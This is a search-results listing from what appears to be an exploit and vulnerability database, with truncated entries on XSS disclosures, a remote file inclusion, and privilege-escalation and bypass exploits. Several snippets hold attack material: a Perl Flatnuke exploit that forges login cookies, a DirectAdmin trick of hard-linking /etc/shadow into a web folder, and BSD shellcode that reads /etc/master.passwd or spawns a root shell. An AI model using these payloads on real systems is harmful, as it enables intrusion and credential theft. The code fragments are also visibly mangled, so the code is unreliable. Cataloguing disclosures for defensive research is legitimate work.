3956 matches found
Webradev Download Protect 1.0 - Remote File Inclusion
Webradev Download Protect 1.0 - Remote File Inclusion Webradev Download Protect v1.0 Remote File Inclusion ======================================================== Author : asL-Sabia = = Home : www.v4-Team.com = = email: [email protected] = = = scripts :...
Fixed XSS vulnerability at e-bank.kredyty-online.eu
Security researcher Viper.aT, has submitted on 13/05/2009 a cross-site-scripting XSS vulnerability affecting e-bank.kredyty-online.eu, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 10/03/2015. It is...
Ruby DL::dlopen could open a library with tainted library name even if $SAFE > 0
DL::dlopen could open a library with tainted library name even if $SAFE 0...
Unfixed XSS vulnerability at bestfindinga.com
Security researcher Blast, has submitted on 05/10/2009 a cross-site-scripting XSS vulnerability affecting bestfindinga.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 09/07/2010. It is currently...
Unfixed XSS vulnerability at www.spaceheads.co.uk
Security researcher MKA392, has submitted on 05/10/2009 a cross-site-scripting XSS vulnerability affecting www.spaceheads.co.uk, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 09/07/2010. It is currentl...
Unfixed XSS vulnerability at www.ebrio.com
Security researcher simone, has submitted on 25/04/2009 a cross-site-scripting XSS vulnerability affecting www.ebrio.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/02/2012. It is currently...
Unfixed XSS vulnerability at www.promgaz.com
Security researcher TurKPoweR, has submitted on 24/04/2009 a cross-site-scripting XSS vulnerability affecting www.promgaz.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/12/2011. It is currently...
Flatnuke 2.7.1 Privilege Escalation
!/usr/bin/env perl Flatnuke timeout5; $lwp-agent'Links 2.1pre26; Linux 2.6.19-gentoo-r5 x8664; x'; $lwp-defaultheader'Cookie' = "myforum=$user; path=$path; secid=$secid; path=$path;"; $ret = $lwp-post"http://$host/$path/index.php?mod=noneLogin",...
Flatnuke <= 2.7.1 (level) Remote Privilege Escalation Exploit
Exploit for unknown platform in category web applications ============================================================= Flatnuke timeout5; $lwp-agent'Links 2.1pre26; Linux 2.6.19-gentoo-r5 x8664; x'; $lwp-defaultheader'Cookie' = "myforum=$user; path=$path; secid=$secid; path=$path;"; $ret =...
Flatnuke 2.7.1 - level Privilege Escalation
Flatnuke 2.7.1 - level Privilege Escalation !/usr/bin/env perl Flatnuke timeout5; $lwp-agent'Links 2.1pre26; Linux 2.6.19-gentoo-r5 x8664; x'; $lwp-defaultheader'Cookie' = "myforum=$user; path=$path; secid=$secid; path=$path;"; $ret = $lwp-post"http://$h...
DirectAdmin <= 1.33.1 Symlink Permission Bypass Vuln (untested)
No description provided by source. /H\ /T\ |T-HHHHHHH-T| HHHHHHHHHH| HHHHHHHHHH| H-T H-T \T-HHHHH-T/ HHHHHHHHH/ HHHHHHHHH/ H-T H-T H-T H-T H-T H-THHHHHH-T /HHHHH\ H-T H-T H-T H-THHHHHH-T THHHHHT H-T H-T H-T H-T H-T \HHHHH/ H-T H-T H-T H-T H-T H-T H-T H-T H-T H-T H-T /H\ HHHHHHHHH\...
DirectAdmin 1.33.1 Bypass
/H\ /T\ |T-HHHHHHH-T| HHHHHHHHHH| HHHHHHHHHH| H-T H-T \T-HHHHH-T/ HHHHHHHHH/ HHHHHHHHH/ H-T H-T H-T H-T H-T H-THHHHHH-T /HHHHH\ H-T H-T H-T H-THHHHHH-T THHHHHT H-T H-T H-T H-T H-T \HHHHH/ H-T H-T H-T H-T H-T H-T H-T H-T H-T H-T H-T /H\ HHHHHHHHH\ HHHHHHHHH\ \H/ \T/ H-T \T/ HHHHHHHHHH| HHHHHHHHHH|...
Unfixed XSS vulnerability at www.airtec-aria.it
Security researcher Jesse-James, has submitted on 25/03/2009 a cross-site-scripting XSS vulnerability affecting www.airtec-aria.it, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 26/10/2010. It is...
DirectAdmin <= 1.33.1 Symlink Permission Bypass Vuln (untested)
Exploit for unknown platform in category remote exploits =============================================================== DirectAdmin /home/attackeruser/domains/attackersite.com/publichtml/ Execute : ln /etc/shadow After that Go to The Control Panel...
Ubuntu Update for libpng vulnerability USN-472-1
Ubuntu Update for Linux kernel vulnerabilities USN-472-1 OpenVAS Vulnerability Test $Id: gbubuntuUSN4721.nasl 7969 2017-12-01 09:23:16Z santu $ Ubuntu Update for libpng vulnerability USN-472-1 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH,...
PHPBB 2.0.22 XSRF Exploit
Author: Dante90, WaRWolFz Crew Title: Exploit PhpBB = 2.0.22 Add User In A Group SWF Version By Dante90 0-Day Proof Of Concept: PhpBB 2.0.22 = CSRF Add user In Group By Vincy Change: ByPass HTTPREFERER Protection. MSN: [email protected] Web: www.warwolfz.org Exploit PhpBB = 2.0.22 Add User ...
FreeBSD/x86 - execve(/bin/cat & /etc/master.passwd) - 65 bytes
No description provided by source. ; sm4x 2008 ; /bin/cat /etc/master.passwd ; 65 bytes ; FreeBSD 7.0-RELEASE global start start: xor eax, eax ; --- setuid0 push eax push eax mov al, 0x17 int 0x80 ; --- setup /etc/master.passwd jmp short loadfile ok: pop esi ; setup /bin/cat push eax push...
Linux Kernel dell_rbu本地拒绝服务漏洞
BUGTRAQ ID: 33428 CVECAN ID: CVE-2009-0322 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的drivers/firmware/dellrbu.c文件中的readrbuimagetype和 readrbupacketsize函数中存在拒绝服务漏洞。如果上述函数从sys/devices/platform/dellrbu /imagetype或/sys/devices/platform/dellrbu/packetsize读取了0字节的话，就会导致系统崩溃。 Linux kernel 2.6.x 厂商补丁：...
Unfixed XSS vulnerability at www.cosmetologas.com
Security researcher xcr4ckx, has submitted on 25/02/2009 a cross-site-scripting XSS vulnerability affecting www.cosmetologas.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/07/2009. It is current...
BSD/x86 - execve(/bin/sh) & setuid(0) - 29 bytes
No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...